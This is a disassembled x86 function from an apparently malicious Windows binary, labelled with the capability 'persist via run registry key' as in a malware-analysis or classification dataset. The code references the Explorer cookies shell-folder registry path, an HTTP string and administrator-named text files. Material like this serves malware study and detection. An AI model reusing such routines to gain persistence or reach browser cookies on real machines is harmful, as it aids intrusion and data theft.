Function at 0x40d368
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
mov ebx, 9
call fcn.004036f9
push getpeername
push 0
push str.http:__
push getpeername
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x40d3bd
mov eax, 0x485928
push eax
push 6
mov ebx, 0x416750
call fcn.00415430
add esp, 0x4c
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40d3e7
push ebx
call fcn.0041542a
add esp, 4
pop eax
mov dword [ebp - 4], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push getpeername
push 0
push 0x519083
push getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40d41c
mov eax, 0x485928
push eax
push 4
mov ebx, 0x415e90
call fcn.00415430
add esp, 0x34
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fsub qword [0x517ea8]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.00401983
push 0x80000301
push 0
push eax
push getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x40d467
mov eax, 0x485928
push eax
push 2
mov ebx, 0x415b80
call fcn.00415430
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40d491
push ebx
call fcn.0041542a
add esp, 4
pop eax
mov dword [ebp - 4], eax
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40d4a8
mov eax, 0x485928
push eax
push 1
mov ebx, 0x417400
call fcn.00415430
add esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x40d59e
inc dword [ebp - 0xc]
push 0
push 0
push 0
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_FoldersCookies
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x418660
call fcn.00415430
add esp, 0x28
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40d512
push ebx
call fcn.0041542a
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0x80000301
push 0
push dword [ebp - 0xc]
push 1
mov ebx, 0x417210
call fcn.00415430
add esp, 0x10
mov dword [ebp - 0x10], eax
push str._.txt
push dword [ebp - 0x10]
push 0x5190d4
push dword [ebp - 4]
push str._administrator_
push dword [ebp - 8]
mov ecx, 6
call fcn.0040188a
add esp, 0x18
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40d56d
push ebx
call fcn.0041542a
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40d581
push ebx
call fcn.0041542a
add esp, 4
pop eax
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0x6f
jl 0x40d599
mov eax, 1
jmp 0x40d5c9
jmp 0x40d495
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40d5b1
mov eax, 0x485928
push eax
push 1
mov ebx, 0x4173e0
call fcn.00415430
add esp, 0x10
jmp 0x40d5c9
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40d5da
push ebx
call fcn.0041542a
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40d5ea
push ebx
call fcn.0041542a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4